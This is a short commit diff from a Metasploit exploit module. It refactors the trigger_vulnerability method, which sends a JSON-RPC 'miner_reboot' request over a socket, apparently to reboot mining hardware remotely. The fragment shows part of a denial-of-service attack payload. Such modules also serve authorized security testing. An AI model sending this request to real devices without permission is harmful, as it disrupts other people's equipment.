refactor: replace last string with hash
parent
ae3e8dab78
commit
e9db949418
|
@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def trigger_vulnerability
|
def trigger_vulnerability
|
||||||
execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}'
|
execute = {
|
||||||
|
"id" => 0,
|
||||||
|
"jsonrpc" => '2.0',
|
||||||
|
"method" => 'miner_reboot'
|
||||||
|
}.to_json
|
||||||
connect
|
connect
|
||||||
sock.put(execute)
|
sock.put(execute)
|
||||||
buf = sock.get_once || ''
|
buf = sock.get_once || ''
|
||||||
|
|
Loading…
Reference in New Issue